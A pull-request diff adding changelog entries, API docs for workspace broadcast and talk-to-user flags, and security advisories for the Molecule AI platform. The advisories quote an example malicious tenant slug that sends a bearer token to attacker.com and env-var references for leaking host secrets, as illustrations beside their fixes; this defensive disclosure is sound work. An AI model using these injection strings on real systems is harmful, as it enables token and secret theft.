docs(changelog): 2026-05-15 EOD entries + broadcast/talk_to_user API reference #49

Open
documentation-specialist wants to merge 12 commits from docs/workspace-abilities-broadcast-changelog-2026-05-15 into main
4 changed files with 109 additions and 0 deletions
+1
View File
@@ -74,6 +74,7 @@ Core workspace CRUD and lifecycle operations.
| GET | `/workspaces/:id` | WorkspaceAuth | Get a single workspace by ID. |
| PATCH | `/workspaces/:id` | WorkspaceAuth | Update workspace fields. A workspace bearer token is always required — unauthenticated calls return 401. Validates field constraints: `name` ≤ 255 chars, `role` ≤ 1,000 chars, `model` and `runtime` ≤ 100 chars each; `name` and `role` must not contain newlines (`\\n`, `\\r`) or YAML-special characters (`{}[]|>*&!`). Oversized or invalid field values return 400. `:id` must be a valid UUID. Financial fields (`budget_limit`) are not accepted here — use `PATCH /workspaces/:id/budget` (AdminAuth). |
| DELETE | `/workspaces/:id` | AdminAuth | Delete a workspace. Stops the container, revokes all auth tokens, and removes all associated data. |
| PATCH | `/workspaces/:id/abilities` | AdminAuth | Toggle workspace ability flags. Body: `{ "broadcast_enabled": bool, "talk_to_user_enabled": bool }` — each field is optional; omitted fields are unchanged. Both flags default to `false`/`true` respectively. `broadcast_enabled=true` enables the `broadcast_message` MCP tool. `talk_to_user_enabled=false` causes `send_message_to_user` and `POST /notify` to return HTTP 403 with a hint to use `delegate_task`; the canvas ChatTab shows a banner with an Enable button. Both flags are persisted to the workspace row. |
### Lifecycle
+51
View File
@@ -8,6 +8,57 @@ Entries are published daily at 23:50 UTC.
---
## 2026-05-15
### ✨ New features
- **Self-hosted workspace Docker deployment guide**: a new [Self-hosted workspace with Docker](/docs/self-hosting) tutorial covers end-to-end deployment of a Molecule AI workspace using Docker — including image pulling, environment configuration, volume mounts, and health-check verification. Includes a corrected Kubernetes YAML example (`terminationGracePeriodSeconds: 120` to match the liveness probe threshold) and a SIGTERM graceful shutdown code example. (`docs` [#46](https://git.moleculesai.app/molecule-ai/docs/pulls/46))
- **`dev-channels` flag requirement documented**: a new [dev-channels flag reference page](/docs/runtime-mcp/dev-channels-flag) explains why Claude Code 2.1.x+ requires `--dangerously-load-development-channels server:molecule` (the tagged allowlist form, not the bare `--dangerously-skip-ipc-lockfile` flag) for inline channel push from the molecule MCP wheel. Covers the three-layer failure mode when the bare flag is used and how the tagged form resolves it. (`docs` [#30](https://git.moleculesai.app/molecule-ai/docs/pulls/30))
- **Workspace ability flags: broadcast and talk-to-user**: two new workspace-level ability flags — `broadcast_enabled` (default `false`) and `talk_to_user_enabled` (default `true`) — give org admins fine-grained control over workspace-to-user communication. `broadcast_enabled` enables the `broadcast_message` MCP tool, which fans out an org-wide notification to all non-removed peer workspaces. `talk_to_user_enabled=false` causes `send_message_to_user` and `POST /notify` to return HTTP 403 with a hint to use `delegate_task` instead; the canvas ChatTab shows a banner with an Enable button. Both flags are toggled independently via `PATCH /workspaces/:id/abilities` (AdminAuth). The `AgentMessageWriter` is the single gate for the talk-to-user check across both MCP and HTTP paths. (`molecule-core` [#1121](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1121))
### 🔧 Fixes
- **MCP HTTP/SSE transport gap-fill**: `content/docs/mcp-server.mdx` updated with a Transport modes section documenting stdio (Claude Code / Cursor) vs HTTP/SSE (remote / headless agents) operation, SSE heartbeat behaviour (`data: null` every 30s on idle connections), and a troubleshooting entry for "Port already in use". The environment variables table now includes `MCP_SERVER_PORT` (default 3000) and `MOLECULE_API_KEY`; `.mcp.json` examples now show `MOLECULE_API_KEY` for both self-hosted and SaaS configurations. (`docs` [#44](https://git.moleculesai.app/molecule-ai/docs/pulls/44))
- **Remote workspaces graceful shutdown**: `run_heartbeat_loop()` and `run_agent_loop()` in the workspace runtime now accept a `threading.Event` (`stop_event` parameter). Setting the event causes the loop to exit cleanly and return `"stopped"` — enabling graceful SIGTERM, Kubernetes, and Docker shutdown for remote agents. The quick-start code example in `content/docs/guides/remote-workspaces.md` has been updated with a SIGTERM handler. (`docs` [#29](https://git.moleculesai.app/molecule-ai/docs/pulls/29))
- **`PLATFORM_URL` default corrected across docs**: `http://platform:8080` (unreachable inside Docker) replaced with `http://host.docker.internal:8080` in `workspace-runtime.md`, `molecule-technical-doc.md`, and `local-development.md`, matching the corrected runtime default. (`docs` [#32](https://git.moleculesai.app/molecule-ai/docs/pulls/32))
- **OpenClaw external workspace heartbeat fix**: the OpenClaw workspace template's `pip install` command now pins `molecule-ai-workspace-runtime>=0.1.999`, ensuring workspaces automatically receive the `molecule-mcp` console script which POSTs `/registry/register` on startup and runs a 20-second heartbeat thread. Older versions shipped only `a2a_mcp_server` which does not heartbeat, causing workspaces to show OFFLINE within 60 seconds of startup. (`molecule-core` [#1143](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1143))
- **Minimax/Moonshot model routing fixed in OpenClaw**: the OpenClaw adapter was routing all non-qianfan model prefixes (including minimax and moonshot/kimi) to `OPENAI_API_KEY` + `api.openai.com`, causing a NOT CONFIGURED error for any workspace with only `MINIMAX_API_KEY` or `KIMI_API_KEY` set. Replaced the if/else cascade with explicit per-prefix lookup tables covering all six providers (openai, groq, openrouter, qianfan, minimax, moonshot). (`molecule-ai-workspace-template-openclaw` [#5](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/5))
### 🔒 Security
- **OFFSEC-006 advisory published: tenant-slug SSRF + token exfiltration**: a new [security advisory](/docs/security/offsec-006-slug-ssrf-advisory) documents the HIGH-severity CWE-918 SSRF and bearer-token exfiltration vulnerability in `scripts/promote-tenant-image.sh` (molecule-core [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933), merged 2026-05-14). Tenant slugs were interpolated into URL paths without validation; a malicious slug like `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host and expose the platform bearer token in attacker logs. Fix adds `validate_slug()` with RFC-1123 regex validation before any network call. Self-hosted operators must upgrade. Advisory also added to the [Security Changelog](/docs/security/changelog). (`docs` [#41](https://git.moleculesai.app/molecule-ai/docs/pulls/41))
- **CWE-22 path traversal regression advisory added**: the [Security Changelog](/docs/security/changelog) has been updated with the CWE-22 path traversal regression in `org_import.go` (molecule-core [#810](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/810), merged 2026-05-13). A regression removed the `resolveInsideRoot` guard from `createWorkspaceTree`; the fix restores it via `loadWorkspaceEnv`. (`docs` [#31](https://git.moleculesai.app/molecule-ai/docs/pulls/31))
### 🧹 Internal
- **SOP checklist merge gate added to docs CI**: the [SOP checklist merge gate](/.gitea/workflows/sop-checklist-gate.yml) is now installed in the docs repo, requiring PR authors to complete a 7-item checklist and receive peer `/sop-ack` comments before merging. (`docs` [#27](https://git.moleculesai.app/molecule-ai/docs/pulls/27))
- **Changelog structural fixes**: duplicate `## 2026-05-10` section removed and `## 2026-04-23` repositioned to its correct chronological position; daily changelog entries for 2026-05-13 aggregated across all org PRs. (`docs` [#28](https://git.moleculesai.app/molecule-ai/docs/pulls/28), [#37](https://git.moleculesai.app/molecule-ai/docs/pulls/37), [#36](https://git.moleculesai.app/molecule-ai/docs/pulls/36), [#33](https://git.moleculesai.app/molecule-ai/docs/pulls/33))
- **ProviderRegistry routing abstraction added**: `adapter_base.py` now exports a `ProviderRegistry` type alias and `resolve_provider_routing(model_str, env, *, registry, runtime_config)` utility — mechanism-only, no hardcoded data; each adapter supplies its own registry. Enables runtime-level model-to-provider routing without duplication. (`molecule-core` [#1138](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1138))
- **GitHub Actions workflows ported to Gitea Actions**: the OpenClaw workspace template's `.github/workflows/` directory has been fully ported to `.gitea/workflows/`, removing the GitHub-org dependency and enabling CI to run natively on the Gitea instance. (`molecule-ai-workspace-template-openclaw` [#6](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/6))
---
## 2026-05-14
### 🔒 Security
- **CWE-78 regression in `expandWithEnv` POSIX-identifier guard fixed (Critical)**: the shell-identifier guard in `expandWithEnv` (`org_helpers.go:82`) was inadvertently removed during a regression window between staging and main promotion. This guard prevents org YAML configurations from expanding invalid shell identifiers (e.g. `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`) as environment variables — blocking secret exfiltration via malicious `workspace_dir` or channel config fields. Restored with regression tests covering `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`. Full advisory: [Security Changelog](/docs/security/changelog). (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
- **OFFSEC-006: tenant-slug SSRF + bearer-token exfiltration in self-hosted promotion script (HIGH)**: `scripts/promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host (SSRF) and cause the platform's bearer token to appear in the attacker's server logs. Fix applies `validate_slug()` — RFC-1123 regex validation (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`) that rejects non-conforming slugs with exit code 64 before any network call is issued. Self-hosted operators must upgrade `molecule-core` to include this fix. Full advisory: [OFFSEC-006 advisory](/docs/security/offsec-006-slug-ssrf-advisory). (`molecule-core` [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933))
- **OFFSEC-003: workspace-side A2A boundary marker escaping (trust boundary hardening)**: the `tool_delegate_task` workspace tool now wraps delegation output with `_A2A_BOUNDARY_START_ESCAPED` / `_A2A_BOUNDARY_END_ESCAPED` instead of raw markers, preventing raw boundary markers from leaking into output alongside their escaped form. Additionally, responses containing the raw closer `[A2A_RESULT_FROM_PEER]` are now truncated before sanitization — so injection of the raw closer cannot be retroactively re-added by the sanitization pass. Together with the platform-side sanitization (shipped 2026-05-11), this closes the full OFFSEC-003 trust-boundary for delegation result delivery. (`molecule-core` [#1073](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1073))
### 🐛 Bug fixes
- **Canvas WCAG 1.4.3 contrast ratio fixed for TIER_CONFIG legend**: the tier legend text in the canvas now meets the 4.5:1 contrast ratio required by WCAG 1.4.3 for normal text. (`molecule-core` [#990](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/990))
- **Canvas focus-visible rings added to icon and text buttons**: focus-visible rings (`focus-visible:ring-2`) now render on icon buttons and text-only buttons in the canvas, restoring WCAG 2.1 AA compliance for all interactive elements. (`molecule-core` [#988](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/988))
- **OpenClaw template `models` config moved to correct level**: the OpenClaw workspace template's `config.yaml` had `models` at the top level, but the platform template handler reads from `runtime_config.models`. This caused `/templates` to return empty models and providers → a blank "Missing API Keys" dialog with no selectable providers, disabling the Deploy button. Moved all model entries under `runtime_config` and added Groq and OpenRouter as alternative providers alongside OpenAI. (`molecule-ai-workspace-template-openclaw` [#4](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/4))
### 🧹 Internal
- **CI infrastructure improvements** (`molecule-core`): `ci-required-drift` workflow updated with job-level `if:` guards to skip `github.ref`-gated jobs in the merge-queue context; `canvas-build` job now has an explicit 20-minute timeout; gitea merge-queue test mocks updated to match current push-gate behavior. (`molecule-core` [#1029](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1029), [#1006](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1006), [#1035](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1035))
- **Handler test coverage additions** (`molecule-core`): 60+ new SQL-mock test cases covering `InstructionsHandler`, `ScheduleHandler` (28 cases), and the `expandWithEnv` POSIX guard regression suite. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030), [#1005](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1005), [#999](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/999))
---
## 2026-05-12
### 🔒 Security
+5
View File
@@ -76,6 +76,11 @@ The MCP server exposes tools across these categories:
| `check_delegations` | `GET /workspaces/:id/delegations` | Check delegation status |
| `list_peers` | `GET /registry/:id/peers` | Find peer workspaces |
| `notify_user` | `POST /workspaces/:id/notify` | Push notification to canvas |
| `broadcast_message` | `POST /broadcast` | Fan out an org-wide notification to all non-removed peer workspaces. Requires `broadcast_enabled=true` on the workspace (admin toggle via `PATCH /workspaces/:id/abilities`). Returns HTTP 403 if disabled. |
<Callout type="warn">
**`send_message_to_user` / `notify_user` behavior:** When `talk_to_user_enabled=false` (default `true`), both tools return HTTP 403 with a hint to use `delegate_task` instead. The canvas ChatTab shows a banner with an Enable button. Admins control this via `PATCH /workspaces/:id/abilities`.
</Callout>
### Configuration and secrets
+52
View File
@@ -9,6 +9,58 @@ This page documents security fixes shipped in the Molecule AI platform. Each ent
---
## 2026-05-14 — CWE-918 + CWE-20: Tenant-Slug SSRF and Bearer-Token Exfiltration in `promote-tenant-image.sh`
**Severity:** High (CWE-918 SSRF + CWE-20 Improper Input Validation)
**PR:** [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pull/933)
**Affected:** `scripts/promote-tenant-image.sh`
**SaaS impact:** None — platform applies the fix server-side
### Vulnerability
`promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR repository identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could cause the platform to redirect HTTP calls to an attacker-controlled host (SSRF) and expose the platform's bearer token in the attacker's server access logs via the same URL parameter injection.
### Fix
New `validate_slug()` function using RFC-1123 regex (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`). Invalid slugs are rejected with exit code 64 before any network call is issued. Additionally, `validate_tenants()` is called after argument parsing and exits 64 on any tenant with an invalid slug.
### User-facing summary
Self-hosted operators must upgrade to the latest `molecule-core` build to include this fix. Tenant slugs are now validated against RFC-1123 before any network call. Slugs containing `?`, `#`, `&`, `$`, `/`, `\`, or spaces are rejected. If you cannot upgrade immediately, audit all tenant slugs and rename any containing these characters.
---
## 2026-05-14 — CWE-78: Regression in `expandWithEnv` POSIX-identifier Guard
**Severity:** Critical (CWE-78)
**PR:** [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pull/1030)
**Affected:** `workspace-server/internal/handlers/org_helpers.go``expandWithEnv`
### Vulnerability
`expandWithEnv` expands `${VAR}` and `$VAR` references in org YAML configuration fields (notably `workspace_dir` and channel config) using the current process environment. The POSIX shell-identifier guard was inadvertently removed during a regression window between staging and main promotion, causing digit-prefixed and empty keys to be passed through to `os.Getenv` instead of being returned literally.
An attacker who can supply org YAML (e.g., via a compromised org template import or a malicious admin account) could inject references such as `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`, or `${PATH}` to exfiltrate host secrets into workspace or channel configuration fields.
### Fix
Restored the POSIX identifier guard at `org_helpers.go:82`. Keys not starting with `[a-zA-Z_]` (including empty key) are now returned literally as `$key` without consulting `os.Getenv`:
```go
c := key[0]
if !((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_') {
return "$" + key // not a valid shell identifier — return literally
}
```
Regression tests cover `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`.
### User-facing summary
Org YAML configuration fields no longer expand invalid shell identifiers as environment variables. Configurations containing `${0}`, `${}`, or `${1VAR}` patterns are returned as-is. If you observe literal `$` prefixes appearing in workspace directory or channel configuration fields after upgrading, this indicates a previously-masked configuration issue — contact support.
---
## 2026-04-20 — CWE-22: Path Traversal in `copyFilesToContainer`
**Severity:** High (CWE-22)